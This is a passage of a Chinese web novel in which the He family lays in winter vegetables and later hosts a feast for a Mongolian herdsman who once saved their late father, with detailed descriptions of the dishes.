贺明珠:不知道为什么,有种不祥的预感呢。 : 第100章 第100章秋天吃羊肉 立秋了。 北方一向四季分明,入秋后天气一日冷过一日,早上出门时,呼吸时会冒出浅浅白雾。 正是丰收时节,不少农户挑着扁担、赶着驴车来城里卖菜,价格低廉,比国营菜市场便宜得多,有种不买就是吃亏的感觉。 城市居民趁此机会大肆采购耐存放的蔬菜,作为入冬前的储备,贺家也不例外。 去年贺家是贺明国负责采购冬储菜,他平时工作忙,也没有经验,只照着记忆中贺母的做法,买了几麻袋的土豆和大白菜。 在贺明珠重生前,贺家人顿顿都是白菜土豆,吃得面色青白,打嗝儿都是一股白菜味儿。 贺明珠上辈子买过几年的冬储菜,不过随着后来国内物流发达,加上大棚种植的普及,即使在冬天也可以轻松买到新鲜蔬菜,她就没再论麻袋买过菜了。 因此,入秋后,看到街头巷尾扛着麻袋买菜的人群时,贺明珠还没反应过来。 高一的课程不忙,贺明珠时不时会去一矿店里绕一圈,看看有什么需要改进的地方,算是老板巡店。 自从店里来了新学徒后,冯解放的工作压力明显轻多了,占据做菜90%时间的备菜工作都可以让学徒来干,简单的小炒和炖菜也可以由学徒负责。 杨冬梅悟性很高,在冯解放的指导下,她学得很快,从开始只会胡乱将菜切一切下锅煮熟,到现在可以按要求将蔬菜切成不同形状,并完成工序复杂的准备工作。 冯解放很欣慰地对贺明珠说:“小杨是个认真的好孩子,有她在,厨房上菜的压力轻多了。” 贺明珠看向正在切菜的杨冬梅,尽管少了一截指头,但她的手很稳,每一刀都干净利落,切好的菜大小相仿、厚度相近,不需要二次加工,直接就可以下锅翻炒。 注意到贺明珠的目光,杨冬梅抬起头,爽朗地笑了笑。 “都是我师父教得好,不藏私,我才能学到这么多做菜的诀窍。和北大荒比起来,饭店的活儿一点都不累。贺老板,谢谢你让我留下来。” 贺明珠说:“这是你自己的努力,我并没有帮你什么。” 杨冬梅却说:“你肯留下我,就是最大的帮助。毕竟当时面试的人里有不少男的,虽然这么说有点自贬,但从体力上相比,我确实比不过男人。而且如果徒弟是同性的话,相处起来也会更方便吧。” 贺明珠反问道:“你知道当时为什么冯师傅会选你做他的学徒吗?” 杨冬梅诚实地摇摇头:“我不知道。” 贺明珠笑眯眯地说:“因为冯师傅说,当时出了关系户的事,在场那么多的人,只有你站了出来,既有勇气,又有主见,还很有正义感。他相信如果选你做徒弟,当师父的可以不用担心将来被徒弟背刺。” 杨冬梅不由得瞪大了眼睛,看看贺明珠,又看看冯解放。 冯解放摸摸鼻子,有点尴尬地说:“老板,你怎么能把这话告诉小杨……” 贺明珠笑道:“为什么不说呢?你和曹师傅选徒弟的标准不就是人品第一吗?与其说是面试学徒,倒不如说你们俩都在找一个值得信任的人。毕竟学艺先学德,做好人比做好菜更难啊。” 听完贺明珠的话,杨冬梅想了想,很认真地对冯解放说: “师父,你放心,我一定不负师恩,这辈子绝对不会做对不起你的事。” 冯解放只是笑笑,没说相信,也没说不信。 他刻意咳了两声,转移话题:“老板,快入冬了,店里是不是该把冬储菜都准备起来,让贵生多送点菜过来?” 被冯解放一提醒,贺明珠这才意识到冬储的事。 “糟了,我家还没买菜呢!” 匆匆和冯解放确定了店里冬储菜的品种和数量,并拨出一笔冬储采购专款,贺明珠赶忙回家。 一推门,她喊道:“大哥,大嫂,咱家的冬储菜还没买呢!” 齐家红从厨房走出来,脸上带着笑:“早买好了,你们这几个大忙人,等你们想起这一茬,黄花菜都凉了。” 她带着贺明珠走到墙边,掀开表面覆盖的塑料防水布,露出下面整整齐齐摞好的麻袋。 白菜、萝卜、土豆、大葱、南瓜、辣椒、冬瓜…… 齐家红准备的很齐全,几乎涵盖了所有耐存放的蔬菜品种。 厨房里新添了几口大缸,里面已经积上了酸菜,足够一家五口吃上一冬天。 还有一些体积稍小的坛子,分别腌着茄子、黄瓜、卷心菜、大头菜…… 贺母在的时候,家里也会腌许多种类的咸菜,作为日常饮食的调剂。但自从贺家只剩兄妹四人后,咸菜坛子就空置了许久。 齐家红还做了西红柿酱,将西红柿去皮压碎后装入玻璃瓶中,放入锅中蒸煮后封口。只要不漏气,可以吃一冬天。 不管是西红柿炒鸡蛋,还是炖菜,都离不开西红柿酱来提味增香,还能让菜看起来更有食欲。 为了密封效果,玻璃瓶是窄口的,清洗消毒麻烦,把切成小块的西红柿塞进去更麻烦。 齐家红刚刚在厨房就是在做西红柿酱,十指都被染红了,指头起了皱,连指纹都看不清。 贺明珠拉着她的手,语气柔软:“怎么不和我说呢,我和你一起做啊。” 齐家红笑着说:“你已经够辛苦了,要上学,还要开店,回家就是要休息的,怎么能拿这种小事折腾你。再说了,全家现在就我最清闲,做西红柿酱也不累,我一个人就能干完,还折腾你们干嘛。” 大嫂也太好了吧! 贺明珠软绵绵地抱着齐家红撒娇,贺小弟从外面玩儿回来,见状,像个小炮弹似的冲进大嫂怀里。 “我也要抱!” 齐家红两只手各抱一个大宝贝,脸都笑开了花,晃晃左边,再 摇摇右边。 真好,她从小就想有个妹妹,可惜只有一个臭弟弟,没想到结婚后终于实现了这个梦想。 院门一声响,贺明国两肩各扛一个麻袋,累得呼哧带喘。 “小红,我买回来胡萝卜了,要放在哪儿?” 没听到回话,也没见到人,只有小狗亲热地绕着他脚边来回转。 贺明国放下麻袋,疑惑地去找人,却看到厨房里三人抱在一起的温馨画面。 贺明国失笑道:“哟,这是干什么呢?” 贺明珠软软地说:“大嫂真好,我才想起来家里还没买冬储菜,大嫂就已经都安排好了。我爱大嫂,我要一直和大嫂贴贴~” 虽然没听过“贴贴”这个词,但看到贺明珠这副黏着齐家红不放的小模样,贺明国秒懂。 啧,疼爱的小妹抱着他心爱的老婆不放手,这姑嫂情深的画面怎么看起来却有点刺眼呢? 贺明国不由得吃味道: “喂喂喂,不能这么偏心,冬储菜可都是我一麻袋一麻袋扛回来的啊!” 贺小弟犹豫了下:“大哥,你也想让我抱抱你吗?” 小妹现在是个高中生了,不能像小时候那么随便抱,贺明国一边遗憾,一边勉为其难地抱起了贺小弟。 这小子抱起来硬邦邦的,在外面玩得出了一身汗,闻起来一股小狗味儿。 小狗味儿的贺小弟在贺明国怀里绷直了身体,言辞凿凿地说: “大哥,等我长大了,我帮你扛麻袋!” 贺明国很欣慰:“还是你乖,你二哥跑得不见人影,想让他帮忙都找不着人。” 说曹操曹操到,贺明军的声音从门外传来: “老大,你也好意思说这话,麻袋虽然是你扛的,但菜可都是大嫂买的。要是让你买,搞不好今年冬天咱家又得吃白菜土豆。” 贺明国理直气壮地说:“你大嫂可是我老婆。” 贺明军针锋相对:“老婆又怎么样,大嫂嫁给你纯属鲜花插在那啥上,让你扛麻袋是看得起你。” 贺明国放下贺小弟,摩拳擦掌:“你小子是不是皮痒了?” 贺明军嗤道:“说得好像你打得过我似的,就算让你一只手,信不信赢的还是我?” 眼见这对兄弟又要掐起来,贺明珠拉着想劝架的齐家红离开。 “走走走,让他们俩打去,从小打到大,一天不打就手痒。我买了一块羊里脊,又鲜又嫩,稍微煎一煎就很好吃。不过这块肉只有一小条,咱们娘仨吃正好。” 贺明珠所说的羊里脊是羊身上最细嫩的肉,从脊骨后侧取下,形似竹笋,纤维细长。 羊里脊的肉质嫩极了,产量也很少,一头羊身上只能出两小条,用炖煮的方法来做的话太浪费了。 贺明珠将肉洗净后切成厚片,锅中倒油,油热后放入肉片,中火慢煎,直至煎到两面焦黄,撒一小撮盐和胡椒粉,将锅从灶台上移开,盖上锅盖,用余热来焖煮。 等掀开锅盖,微微湿润的羊肉香气扑面而来,锅底一层薄薄的肉汁。 贺明珠给每人夹了两三块的羊里脊,贺小弟不顾烫,上手就要去抓,被贺明珠拿筷子打了下手。 “你筷子呢?” 贺小弟手小,使用筷子不熟练,看到好吃的就忘了形,被贺明珠提醒后,他才吐了吐舌头,乖乖拿起筷子,小心翼翼夹起盘中的肉片。 齐家红一边看着贺小弟吃饭,一边自己也夹了一块。 她不是没吃过羊肉,但基本都是囫囵个地吃,有肉就行,不挑是哪个部位的,只要是肉都好吃。 然而,头一次吃羊里脊,她却分辨出与吃过的肉类不同的地方。 嫩,非常的嫩,嫩到不需要大力咀嚼,厚实肉片轻易被咬开,变成肉块,接着是肉丝,最后肉沫状滑入喉咙。 煎过的羊里脊,表面有一层焦香的肉壳,牙齿微微用力,外壳咬破后,便能尝到里面软嫩滑润的肉质,鲜香而多汁,分明是煎烤制成的,却能吃到格外丰富的肉汁。 太香了,尽管只放了盐和胡椒粉,但却更凸显出羊肉本身的鲜美。 明明已经吃过许多次贺明珠做的美食,可每一次都让人更加惊喜。 齐家红吃得专注,不知不觉将一盘的煎里脊吃得干干净净。她放下筷子,难得懒洋洋地靠坐在椅子上,惬意地打了个饱嗝儿。 这是她在齐家时,很少能体会到的闲适与安宁。 原来幸福有时只藏在一顿小灶中。 贺明国和贺明军两个人打完了架,灰头土脸地进来,虽然脸上看着没疤痕,但衣服掩盖的地方都是淤青。 贺明国咬牙皱眉,暗道老二这小子吃什么长的,怎么拳头这么重;贺明军呲牙咧嘴,心想老大这家伙学坏了,居然会偷袭他。 闻到厨房残余的香气,两兄弟皆是眼前一亮,异口同声道: “有什么好吃的?” “你们做什么好吃的了?!” 贺明珠慢条斯理地拿手帕擦嘴,笑眯眯地说:“煎羊里脊,闻着不错吧。” 贺明国说:“何止是不错,那可太香了。” 贺明军满厨房地找肉,见灶台旁放着用完的锅,锅里是空的,就问道:“小妹,肉呢?” 贺明珠笑容更热情了:“吃完了哦。” 吃完了?! 贺家两兄弟瞠目结舌,不敢相信贺明珠居然没有给他们留菜。 齐家红笑道:“羊里脊只有一小块,你们俩打架又太专心了,我们不小心就吃完了。” 贺明国心都碎了,面上强笑道:“没事,你们吃好就行,我不饿,等下随便垫补点吧。” 贺明军走到贺小弟身后,盯着他盘中的肉片,和蔼地说:“小弟,你吃完了吧,我来帮你清盘。” 贺小弟警惕地护住盘子,大声道:“我只是吃得慢,但我没吃完!” 筷子真的很不好发力,他很艰难地从盘子里戳中一块肉,又很艰难地举着筷子,把嘴凑到筷子旁。 贺明珠和齐家红都吃完了,他还在和筷子打架。 贺明军像是没听到他说什么,突然伸手下去捻了块煎羊里脊,丢进嘴里,含糊不清地说: “没事,二哥不嫌弃你的剩饭……” 贺小弟急得抱住盘子,从椅子上跳下去,直说:“不是剩饭,不行!” 他没跑两步,就被贺明国挡住了。 贺明国和贺小弟说着话,一双眼却盯着盘中肉。 “小孩吃这么多肉不好,你消化不了,我替你解决吧。” 话音未落,他就把盘中剩下的羊里脊拿起来塞进了嘴里。 嚼一嚼,唔,虽然有点凉,但还是很好吃,就是肉太小了,两口就没。 贺小弟眼睁睁看着俩哥哥光天化日抢劫他的肉,气得脸都红了,跳着脚地喊: “姐,大嫂,他们抢我肉吃,还不用筷子!” 贺明军安慰他:“没事,下次二哥让你抢回来。” 贺小弟瘪着嘴,哇地一声哭了:“你耍赖,我又抢不过你!” 为了安抚悲愤的贺小弟,第二天,贺明军紧急去附近的集市采购羊肉。 自从工资改革后,矿务局群众的消费能力和消费欲望与日俱增,越发舍得把钱花在吃上。 到了秋冬,北方寒冷,正好适合吃羊肉滋补身体,一时间羊肉消耗量以夸张的速度直线增长。 本地养羊的人家不多,很快就卖光了。有人联系了口外的牧民,想从他们手上买羊肉。 消息一传十十传百,没过多久,长城外的牧民赶着羊来了矿务局。 这些草原羊在前一年的冬天降生,吃着春夏的嫩草,喝着融雪化成的小溪,在草原上自由奔跑,养得膘肥体壮,肉质细嫩,吃起来没有一点膻腥。 远方的羊来到矿务局,市里城管查得严,牧民们就在附近农村集市上摆摊,现杀现卖。 考虑到路途遥远,草原羊卖得比本地羊略贵,但买的人络绎不绝,毕竟凡是吃过一次草原羊的人,就很难再习惯本地羊的膻味和粗糙肉质。 一时间,卖羊的摊位前 围着密密麻麻的人,一头羊从宰杀到卖光,花不了一小时的时间,甚至连羊血都卖得干干净净。 贺明军仗着人高马大,艰难地挤进人群,把钱塞给摊主,喊道:“给我来半只羊!” 要不是现在气温没降到零度以下,家里也没冰箱,就不是买半只羊,而是要囫囵个地买一整头羊,毕竟羊头、羊蹄、羊内脏也都是好东西。 摊主收了钱,麻利让同来的牧民挑了头羊,现场绑起来杀好。 牧民做惯了杀羊的活计,放血、剥皮、开膛,短短几分钟,一头活蹦乱跳的羯羊就变成了光溜溜的胴体,在秋天的寒风中冒着丝丝热气。 贺明军付了钱,扛着对半切开的半头羊,正要离开时,忽然有人用不标准的普通话喊了他一句。 “你是不是贺振华的儿子?” 贺明军愣了一下,放下羊,转头看向说话的牧民。 牧民大爷大约五十多岁,满面风霜,一路赶着羊群,长途跋涉来到乌城,看起来有些邋遢。 他在袍子上擦了擦沾满羊血的手,走到贺明军面前,仔仔细细端详他的脸。 “你是老贺的儿子吧,你们俩看起来太像了,你和他年轻时候长得一模一样。” 贺明军不确定地说:“您认识我爸?您是哪位?” 牧民大爷豪爽地笑了:“你阿爸年轻的时候在我们旗待过两年,他当时在口外的煤矿上班,我们经常一起吃肉喝酒。后来他调到了乌城,一晃多少年没见了,你阿爸还好吗?” 贺明军抿了抿嘴:“我爸已经去世两年了,是矿难。” 牧民大爷有些惊愕,随后语气低沉地说:“他是个好人,长生天会保佑他的。” 他把买羊的钱还给了贺明军,死活不肯要他的钱,又要把另外半头羊塞给了他。 要不是看贺明军扛不动,怕是还要再送他两头活羊。 贺明军问牧民大爷他们晚上睡哪儿时,牧民大爷爽朗地笑:“我们有帐篷,哪里都能睡!” 现在已经是深秋,一天比一天冷,白天有阳光时还行,可晚上太阳一落山,室外冷飕飕的,穿着棉袄也受不了,更何况只是一层羊毡。 贺明军想了想,说:“您要是不嫌弃,我这儿有个地方能让您晚上睡一觉。” 牧民大爷犹豫道:“人倒是好说,可我的羊怎么办?” 贺明军狡黠一笑:“羊好办。” 于是这天,一矿店迎来了一群咩咩叫的活羊。 冯解放站在店门口,看店外一小群羊,头疼道:“这么多的羊,什么时候才能卖完?” 贺明军笑道:“不就是几顿全羊宴的事?一部分羊放在一矿这边,一部分羊送到分矿那边,现杀现吃,花不了多长时间。” 冯解放无奈地摇摇头:“你和老板说了吗?” 贺明珠已经知道了,家里厨房被塞进去一头宰好的羊,贺小弟乐了一天了。 “羊肉!吃羊肉!” 贺明国问贺明军:“你把人都安排在哪儿了?” 贺明军说:“三店正好空着,我让他们去那儿住了,有电有自来水也有厕所,虽然要打地铺,总比睡野地要强。” 贺明军小时候听贺父和他讲过,他以前在草原里的煤矿上班,宿舍离得不近,每天都要骑车穿过空无人烟的野外,全靠同行的同事壮胆。 有次下班晚,只剩他一个,原本应该留在单位过夜,但他有份文件忘拿了,就带着侥幸心理骑车回宿舍。 偏偏那天运气差,被几头狼追在身后,惊慌中他摔了一跤,丢了车,狼狈逃进草原,险些送入狼口。 不幸中的万幸,他闯入的牧场是牧民大爷家的,蒙古包离得不远,听到了求救声的牧民大爷骑马赶到,带着一杆老猎|枪,开枪吓退了几头野狼,他乘机将贺父拉上马,带着他回到自家蒙古包。 因着这份救命之恩,贺父经常带着烟酒礼物去看望牧民大爷,双方结下了深厚友谊。 后来贺父被调回乌城,也经常互相写信,寄送东西。但由于牧民逐水草而居,牧民大爷家蒙古包的地址每年都在变,贺父也搬了几次家,导致双方失去了联系。 没想到由于贺明军和贺父长得相似,认识年轻贺父的牧民大爷一眼就在人群中认出了他。 贺明军说:“虽然爸不在了,但我想不能忘了人家的恩情。既然阿布日古大爷来了矿务局,我们一定要尽到地主之谊。” 贺明国点头,认同他的想法。 “家里还有几床被子,再拿上毛巾脸盆暖壶,等下我和你一起送过去。” 贺明珠说:“阿布日古大爷他们远道而来,还要赶一群羊,估计没心思放在吃上,就请他们在店里吃一顿吧,我亲自下厨。” 第二天,在贺明军的带领下,阿布日古大爷一行来到了煤矿人家。【你现在阅读的是魔蝎小说 moxiexs】 100-110 第101章 第101章草原来客(补完)…… 煤矿人家。 今天为了招待贵客,特地将闲置许久的屏风取了出来,在店内隔出一片独立空间。 阿布日古大爷一行人依次在大圆桌上落座,陪坐的是贺明军、贺明国和齐家红、贺小弟。 贺家人还是第一次见到贺父的老友,虽然此前从未谋面,但草原人的豪爽与大气,让双方很快就抹平隔阂,熟稔地聊成一片。 阿布日古大爷感慨地说:“没想到当年与贺安达一别,居然会成为我们之间的最后一面。要是他现在还活着该多好,我们还可以坐在一起吃肉喝酒。” 贺明国给阿布日古大爷倒了杯茶,安慰道:“我爸要是知道您来了矿务局,他一定会很高兴。当初他在口外的故事,给我们讲了许多次。我们家的孩子虽然没去过草原,但从小就向往骑马、放羊、打猎。如今我们两家又联系上了,也算是圆了我爸的一个心愿。” 阿布日古大爷呵呵地笑,以茶代酒,和贺明国碰了一杯。 “你们都是好孩子,明军是,你也是,和你阿爸一样的长相,一样的热心肠。” 贺小弟从椅子上跪坐起来,急切问道:“我呢,我呢?” 阿布日古大爷眯着眼睛端详,恍然大悟道:“你是贺安达的孙子?明国,你有个好儿子啊!” 贺明军噗地笑出了声,贺明国的脸涨得通红,忙解释道:“这是我四弟,我们家老小,今年才五岁,我爸大概没来得及和您说。” 阿布日古大爷摸摸头,不好意思地笑了:“你阿爸寄过来的最后一封信说他终于有了女儿,高兴得不得了,说等她长大了,要带她来草原骑马,我还当你们家老小是个闺女……说起来,你们家的老三呢?” 贺明军接话道:“我妹在厨房呢,她说要亲自下厨做一桌菜来招待您。” 阿布日古大爷推开椅子站起来,连声道:“哦哟,怎么能让小闺女自己做饭,你阿爸看到了要心疼的……我去厨房给她帮帮忙……” 话音未落,贺明珠笑眯眯端着一盘菜走了进来。 “阿布日古大爷,我就是贺振华的闺女,您叫我明珠就好。” 阿布日古大爷急忙从她手中接过盘子,疼爱地看着她,说道:“你比你的兄弟们都漂亮,你就是草原上的其其格,你阿爸活着的时候最疼你这个小闺女,你一出生他就写信给我,还寄来了你的照片……如今你已经长这么大了……” 听到阿布日古大爷的话,贺明珠心里酸酸的。 贺父活着的时候是个有些严肃的父亲,并不擅长和子女相处。 他工作忙,早出晚归,在家的时间很短,大多数时候是贺母照顾孩子们。 再加上女大避父的传统思想,父女间偶尔的聊天也是围绕学业,贺父和贺明珠不算亲近。 贺明珠没有想到,原来对于她的诞生,父亲曾经是那么的欢喜,他的喜悦甚至传到了千里之外的草原上。 如今,借由阿布日古大爷之口,她隐隐约约看到了藏在严肃和不苟言笑下的父爱的一角。 阿布日古大爷还在说:“你的哥哥们怎么能让你去做饭?贺安达看了要心疼的。你坐下,明国,明军,今天的饭你们俩去做,以后也不许让你们妹妹进厨房。” 贺明珠原本心情还有些酸涩,现在却被阿布日古大爷逗笑了。 她笑眯眯地说:“阿布日古大爷,您别担心,我哥哥们没欺负我,是我自己想要做菜招待您。我是我们家厨艺最好的,而且这家店也是我开的。” 阿布日古大爷瞪大了眼睛。 “我们现在吃饭的饭店是你的?” 贺明军笑着接话:“不止是这家店,还有另外两家店也是我妹的。她平时不下厨的,今天是见到了您,心情好才肯亲自做菜。” 同行的牧民惊道:“那抓住通缉犯的也是你?!” 贺明珠大方承认:“对,是我。” 一桌子的牧民集体惊掉了下巴。 阿布日古大爷在草原上的时候就听说,乌城有家叫“煤矿人家”的饭店,店老板活捉了来抢劫的通缉犯。 今天来煤矿人家吃饭,原本是以为贺家人借用了饭店的厨房,没想到饭店居然就是贺家的。 这次来乌城矿务局卖羊,几个牧民原本打算临走前要专程来一趟煤矿人家,见见这位壮士,没成想,壮士本人居然是面前这位大腿还没他们胳膊粗的漂亮小姑娘。 她看起来甚至抓不住一头羊! 阿布日古大爷惊得说不出完整的句子。 “你……我……饭店……通缉犯……” 贺家人已经习惯了第一次得知贺明珠就是抓到通缉犯的人的表现,贺小弟悄悄和齐家红说: “大嫂,为什么大家会这样啊?可姐姐不是一直都这么厉害的吗?” 在他眼中,贺明珠一向无所不能,会打败欺负小孩的坏老师,会做很好吃的饭菜,还会解出春晚谜题,会…… 她会的东西太多了,区区一个通缉犯算什么,在他姐面前,那不就是小菜一碟吗? 齐家红摸摸他毛茸茸的小脑袋,同样轻声道:“这就叫做人不可貌相,你以后千万不能光凭表象来判断一个人的本质哦。” 贺小弟似懂非懂。 不管是人不可貌相,还是表象、本质,对于托儿所在读生来说,都太超纲了。 贺明珠给了大伙儿一点缓冲时间,同时示意贺明军给众人倒酒。 “通缉犯的事情等会儿我们可以慢慢说,可菜凉了就不好吃了。阿布日古大爷,你们先吃着,我去厨房准备下道菜。” 她端起酒杯,杯中是浅浅一底子的高粱酒。 这酒不是商店买的瓶装酒,而是从村里买的农户自酿酒,度数高,滋味醇厚,入口烈而不辣。 贺家人不怎么喝酒,这酒是特地为牧民们准备的。他们久居草原,冬天寒冷漫长,喝惯了烈酒。 贺明珠举起酒杯,贺家人默契地同时举杯,就连贺小弟也乖乖用两只小爪子,捧起了倒满饮料的小杯子。 见状,牧民们也都举杯站起。 贺明珠说:“阿布日古大爷,我们两家久别重逢,今天这杯酒是代我父亲敬您的。” 众人皆举杯,饮下这一杯酒。 一杯酒敬完,贺明珠回了后厨,阿布日古大爷叹道:“贺安达有你们这样的儿女,他这一辈子没遗憾了。” 贺明国笑着给阿布日古大爷夹了一筷子菜。 “您尝尝我妹妹的手艺,她久不下厨,至今店里吃过的老顾客还在惦记呢。” 阿布日股大爷从善如流,夹起了碗中的菜。 天气冷,但又没冷到需要生炉子的时候,冷盘吃着肚里凉,贺明珠索性直接上了热菜。 第一道菜是烧茄子。 茄子是时令菜,正是秋天才应季,第一茬采摘的茄子皮薄肉厚,切开瓤里没有籽儿,吃起来口感更好。 挑几个长得漂亮的紫黑色茄子,外表油光锃亮,洗净去把,不去皮,下刀切成厚片,再在茄子片上切上密密麻麻的十字花刀。 在蔬菜中,茄子格外吃油,不放油还不好吃,一锅茄子要放入半锅油。 要不是现在饭店生意好,有钱从黑市上买高价食用油,不然还真不舍得这么大量地用油。 锅中烧油,油热放入改刀的茄子片来炸。不多时,茄子就将锅里的油都吃得七七八八。 随后将灶台的火调小,茄子在锅中慢慢地煸,直至将茄子吃进去的油再煸出来。 锅里的油一进一出,茄子彻头彻尾地吃过一遍油,变得柔软滑腻,但又保持着完整的形状。这会儿再下入调料,撒上一把蒜末,调好味后关火出锅。 虽然只是一道烧茄子,但其中技巧繁杂,不管是刀法还是火候,对厨师的要求很高。 阿布日古大爷在草原上吃过茄子,但没吃过这样做法复杂的烧茄子。 他挑起一筷子,送入口中,茄子软糯味醇,口感肥嫩,虽然是菜,但吃起来却像是肥而不腻的猪肉,滋味厚重,但配上蒜的滋味,又有一种奇异的鲜香味道。 另外几个牧民吃得眼睛都亮起来,直说“赛罕”,也就是蒙语中的好吃。 不多时,一盘烧茄子被吃得干干净净,阿布日古大爷放下筷子,惊叹道:“你们妹妹是怎么将茄子做出了肉的味道?” 贺明国一脸的与有荣焉:“我妹的厨艺在全乌城也是排得上号的。” 贺明军在厨房当过一段时间的大厨,知道贺明珠是怎么做的,就简单说了下烧茄子的做法。 阿布日古大爷听了直惊呼:“一盘茄子要用半锅的油去做,油用得太多了,倒一点点油就很好了。” 贺明军笑道:“这茄子就是要舍得下油才好吃,油放少了就是一股涩味儿,吃起来硬邦邦的。” 阿布日古大爷还是很心疼:“我们随便吃点就好,不要用这么多的油。” 贺明军知道阿布日古大爷这是替他们家心疼,虽然烧茄子好吃,但对于过惯了苦日子的牧民来说,用大量的油来做一道素菜,还是有些超乎想象了。 他也不解释,转移了话题,聊起了草原上的风土人情。 说这牧民们就不困了,从散发着奶臭味儿的小羊羔,到出生后跌跌撞撞跟着马群奔跑的小马驹,再到草原上的黄羊、鼠兔和狐狸,虽然生活艰苦,但依然能从苦中品味出丝丝的甜。 聊得热火朝天时,女服务员端着第二道菜进来了。 她放下盘子,笑着说:“小老板在厨房里走不开,让我把这盘肉先送过来。” 肉是大块的猪肉,肥多瘦少,煮肉的时候用白棉线将肉块五花大绑,牢牢地捆起来。 另准备了一盘蒜末,一盘酸菜末,一盘香菜碎,还有一盘腌韭菜,以及一碟辣椒酱。 待肉块煮熟出锅后,拆开棉线,用锋利的菜刀细细切成薄片,对灯时能照出光影。 白煮肉没有调味,只祛除了原本的血腥味儿,吃的时候要蘸着酱料。 牧民们没吃过这样的白煮肉,贺明军便先做了示范。 碗中倒入酱油和蒜末,再加入酸菜、腌韭菜和香菜,将几片肉放入碗中,搅拌均匀,使肉裹上一层蘸料,最后将沾着酸菜末和腌韭菜的白煮肉送入口中。 猪肉是今天才杀的,肉质新鲜极了,吃起来鲜嫩爽滑,毫无一丝腥膻。 蘸料依个人口味而定,爱吃辣的就多放辛辣的腌韭菜和香辣的辣椒酱,爱吃酸的就多放酸菜末,爱吃香菜的就放香菜,丰俭由人,没有定规。 阿布日古大爷夹了厚厚一筷子的肉片,大手笔的放入酸菜和腌韭菜,肉片在蘸料里打个滚,沾着酸菜和韭菜送到嘴边。 一口咬下去,既有肉香,又有韭菜的辛辣,还有酸菜的浓郁酸香,吃得人胃口大开。 贺明珠知道牧民胃口普遍大,特地照着人数的两倍来准备菜量,但没想到,一大盘肉送上去,没一会儿就吃的干干净净。 田润花走到后厨门口,提醒了一句:“小老板,白煮肉吃完了!” 贺明珠擦一把头上的汗,指了指旁边的锅烧鸡,说:“这道菜好了,你送上去吧 。” 鸡是从郝家村买的,这鸡在村里养了一段时间,由笼养鸡变身走地鸡,半肥半瘦,正适合做烧鸡。 杨冬梅杀鸡手法干脆利落,割喉放血拔毛,一整套做完,鸡送到后厨时,体表还留有余温。 贺明珠将鸡去头去爪去内脏后,整只放在酱油中浸泡,直到入味上色后,将鸡捞出来控干水分,放入锅中油炸,炸到鸡皮焦黄。 做好的锅烧鸡外焦里嫩,焦黄油润,劈开鸡架,即使是最里面的鸡肉也吃透了酱油,颜色棕亮,光是看着就让人极有食欲。 一大盘的锅烧鸡送上桌,不用贺明国招呼,草原的客人们已经自觉下筷子。 鸡肉撕成了条,每一条都裹着亮晶晶的油光,吃起来丝毫不干,口味咸香,让人越吃越香。 草原上很少养鸡,大概是因为黄鼠狼、狐狸还有老鹰太多,人类养的鸡就像是野生动物的免费饲料,不知什么时候就会被叼走吃掉。 阿布日古大爷平时很少吃鸡肉,总觉得鸡肉吃起来干巴巴的,还塞牙,没有羊肉的肉汁丰富。 可这盘锅烧鸡却让他有了不同的看法。 炸过的鸡皮焦黄酥脆,吃起来一点也不腻;没有直接油炸的鸡肉却奇异的有种湿润的口感,像是鸡肉本身的水分被牢牢锁在了肉里,一丝一毫都没有流失,这才能造就这种鲜嫩滑腻的美妙滋味。 他吃得香,同行的牧民们吃得更香,胃里像是有个无底大洞,不管多少食物都填不满。 田润花又来到后厨门口,冲贺明珠喊了声:“小老板,锅烧鸡也吃完了!” 贺明珠有些惊讶:“吃得还挺快啊。” 幸好她的动作也不慢,这会儿下一道菜刚好出锅。 贺小弟乖乖吃着碗里齐家红给他夹的鸡肉,小声地说:“大嫂,下一道菜是什么呀?” 齐家红和他说悄悄话:“大嫂也不知道呢,你饿了吗?” 贺小弟摇摇头:“我有点饱了。” 烧茄子、白煮肉、锅烧鸡这三道菜都是大油大肉的硬菜,测一测卡路里都要爆表,过于充裕的油脂和蛋白质,减脂人光是看着都受不了。 一桌子的人吃饭,亏了谁也没亏了贺小弟,每道菜上来后,齐家红都给他夹得小碗满满当当。 这小子以前胃里还藏了头吃不饱的饕餮,可不知从什么时候开始,他不再嘴馋,也不再饿死鬼似的贪吃,反而还有了点小美食家的范儿,注重食物的味道,而不仅是饱腹。 但贺家的教育是不能浪费粮食,贺小弟艰难地把碗里的食物都吃干净。 “大嫂,下一道菜你只要给我夹一点点就好~” 齐家红逗他:“为什么是夹一点点,而不是不夹呢?” 贺小弟纠结地皱着小眉头说:“姐平时不会做这么多好吃的大菜,要是今天不吃,下次不知道什么时候才能吃到呢……我要每道菜都尝一尝!” 说着话,田润花端着新菜来了,笑着对众人说: “瓦块鱼好了,各位慢用~” 北方的江河少,一个城市也没有几条称得上是“河”的水域,所谓河流,在非雨季的时候,只是一条干涸的小土沟。 没有南方那样密集的河流,相应北方的渔获也很少,鱼肉不算是日常饮食。 因此,贺明珠很少做鱼,一是没有新鲜食材,二是本地人不习惯吃鱼,鱼菜在大多数情况下,只是宴席上“有头有尾”的标志而已。 但她今天去集市时,正巧碰到村里清塘时捞出的大鱼,躲过了渔网和钓杆,吃得肥壮极了。 贺明珠见猎心喜,挑了几尾活蹦乱跳的大鲤鱼,用草绳串着拎回来,做了一道瓦块鱼。 依旧是杨冬梅负责杀鱼,挥着菜刀背砍晕鲤鱼,去腮放血,开膛去皮,没多久,一条光溜溜、没鳞片的白条鱼就送上了案板。 贺明珠将鱼的头尾去掉,只留下肉质肥厚的鱼身,避开鱼刺所在的位置,将鱼切成厚片,再裹上一层蛋白芡粉。 锅中倒油,油热后滑入鱼块,中火炸到鱼肉两面焦黄,鱼刺酥软。 炸好的鱼块一半做成糖醋口味,一半做成香辣口味,最后一齐放入店里最大的盘中。 阿布日古大爷没吃过这样的鱼,但看在前面几道菜的份上,他还是夹了一块准备尝试一下。 鱼块炸得焦黄微弯,形似瓦块,上面裹了一层红亮浓稠的的糖醋汁,一口咬下去,鱼块酥而脆,细小的鱼刺已经被炸软了,嚼一嚼就能吃,剩下的大根鱼刺也很容易剔除。 糖醋汁调得浓郁黏稠,味道酸甜可口,即使是不爱吃甜的人,也忍不住被这酸中带甜、甜中带酸的口感勾得一尝再尝。 吃完一块的糖醋瓦块鱼,阿布日古大爷意犹未尽,又夹了一块香辣鱼块。 与糖醋的不同,香辣口味的鱼块上撒着细细碎碎的青红椒,没有了糖醋汁的浸润,炸过的鱼块吃起来更加酥脆,几乎能听到牙齿咬下去时“咔嚓”的声音。 